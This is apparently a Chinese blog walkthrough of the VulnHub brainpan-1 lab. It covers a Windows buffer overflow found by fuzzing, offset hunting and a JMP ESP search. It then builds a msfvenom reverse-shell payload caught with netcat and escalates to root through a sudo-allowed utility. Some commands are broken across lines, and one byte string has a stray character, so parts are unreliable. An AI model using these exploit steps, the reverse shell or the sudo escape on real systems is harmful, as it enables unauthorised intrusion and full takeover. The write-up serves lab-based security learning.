Vulnhub百个项目渗透
Vulnhub百个项目渗透——项目十七:brainpan-1(windows缓冲区溢出,sudo提权)
🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月19日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
巅峰之路
前言
本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
一、梳理流程
- 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
- 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
- 二次收集(基于已得到的服务或者主机再次信息收集)
- 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
- 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)
二、使用步骤
1.web突破
nmap -sP 192.168.247.146
发现至开启了9999端口和一个10000的web服务,9999未知,所以先10000
啥也没有
目录爆破,出现bin目录
2.缓冲区溢出突破
1.本地环境搭建(缓冲区文件获取并本地分析)
是一个exe文件,但是我们的靶场是一个linux环境,所以这个exe肯定是在linux中的某一个开启了windows的服务
我们在自己的一台windows中下载好这个exe文件,然后利用immunity debugger(id)来对这个exe分析
直接将这个exe拖到id中,点击上方导航栏的运行,才能开始运行,看到doc中出现了开启了9999端口
此时此刻,我们大致明白了,靶场的9999端口就是运行了这个exe,那么只要能借助这个exe,我们就能大致模仿linux中的windows环境
https://github.com/jessekurrus/brainpan
下载py脚本,当然了你也可以自己写,专栏的下一篇文章写如何自己编写,这个脚本你也可以稍加修改用到以后
2.模糊测试
这一步的目的是借助批量产生的无意义的字符来冲击文件,可以得知是否存在溢出的可能
python2 brainfuzzer.py 192.168.3.101 9999
看到连接中断,那么就说明存在溢出,再看下图,左上角已经变黑崩溃了
3.判断溢出点
locate pattern_create.rb
/usr/share/metasploit-framework/tools/exploit/pattern_cre
ate.rb -l 1000 --生成1000位的可以反查的字符
---复制粘贴下来然后放法到brainpan1.py在运行
python2 brainpan1.py 192.168.3.101 9999
到这就可以看到 EIP变成了—35724134
locate pattern_off
/usr/share/metasploit-framework/tools/exploit/pattern_off
set.rb -q 35724134 ---反查溢出点
如下图,溢出点在524位
35 72 41 34 因为两个字节是一个字符,所以这样分开 然后计算机中内存的地址按照由低到高的顺序排列存放 也就是说放在最下面的是最先放的
所以这一组EBP(基底地址)的第一组字节(第一个字符)应该是34,对应的ACSII也就是
以此类推,这一组特殊的内存地址也就是4Ar5
然后再回去找生成的1000个坏字符,也就是在512得位置
接下来就是要让这一段内存地址指向我们的shellcode,因为当发生溢出的情况时,系统就会自动调用这一段内存,这一段内存里面存放的是下一跳的信息,他的本意是不因为溢出而产生计算机崩溃,而让程序继续进行,所以我们只需要知道他下一跳的地址以及大小,然后我们构造相对应的shellcode
4.获得shellcode空间大小
python2 brainpan2.py 192.168.3.101 9999
524个字节填满他正常的内存空间,而后就会造成溢出,用B填满他的指向(四个字符),剩下整这么多C就是shellcode的内存可存放大小,借助工具我们就可以知道shellcode可以放多少字节(也就是说我们要知道他最终的内存中保留下来了多少C)
我们这就看到了,查找ASCII表知道了EIP均被B覆盖,EBP均被A覆盖,ESP的位置右键 Follow in dump
在左下视图右键选择HEX-HEX/ASCII(16),选择16个字节一行娶观察
起始位置005FF910 结束位置是005FFAE0
转换成10进制也就是464,可以放得下一个shellcode
5.查找坏字符
因为在不同的协议,功能,等情况下,对于坏字符的敏感度不同,有些不管,有些要管,为了避免这个问题,我们就一刀切,全部排除坏字符
发送0x01 到0xff
python2 brainpan3.py 10.211.55.44 9999
然后我们看右下视图(调整成16位视图)
从右往左读,发现均为正常显示,除了0x00,因为无论何时何地,他都是坏字符
7.定位shellcode
因为ESP的地址会变化,这是系统的保护机制,所以我们要找一种可以精确的百分百定位到shellcode的东西,这个东西是JMP ESP
接着引入mona脚本(识别内存模块的脚本)
!mona modules
最上面ASLR等是保护机制,我们要找一个均是false的,往回看就是这个exe文件,在实际操作中也可能是DLL进程文件,具体问题具体分析
查询到jmp esp字符在内存中的表示来查找位置
locate nasm_shell
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp esp
00000000 FFE4 jmp esp
利用mona脚本来查找当前文件中jmp esp的存在位置
!mona find -s “\xff\xe4” -m brainpan.exe
得到结果如下 311712F3
获得是JMP ESP地址 :0x311712F3
msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192
.168.2.157 -e x86/shikata_ga_nai -b "\x00" -f py
分析一下这个payload:
JMP ESP 内存地址:\xf3\x12\x17\x31c
1.524个A用来覆盖掉正常的内存空间,
2.\xf3\x12\x17\x31c是JMP ESP的地址用来指向shellcode;
3.后面一大串整型乘\x90是去掉nop空地址(这一段相当于啥也没有,要去掉)
4.再加上msf生成的反弹shell
本地再开一个msf生成的时候设置的端口
nc -nvlp 443
2.提权突破
1.信息再收集
上传提权三脚本,显示出内核版本可以利用,并且可能存在sudo提权
2.内核版本提权
没啥说的gcc编译执行
3.sudo提权
> sudo -l
User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util
**看到这个就知道可以利用这个目录sudo提权**
> 先利用python生成一个正常的终端
> python -c 'import pty;pty.spawn ("/bin/bash")'
>
> sudo /home/anansi/bin/anansi_util Usage: /home/anansi/bin/anansi_util
>
> [action] Where [action] is one of:
> - network
> - proclist
> - manual [command]
>
> 可以执行command! sudo /home/anansi/bin/anansi_util manual cp !/bin/bash id
> ---获得root权限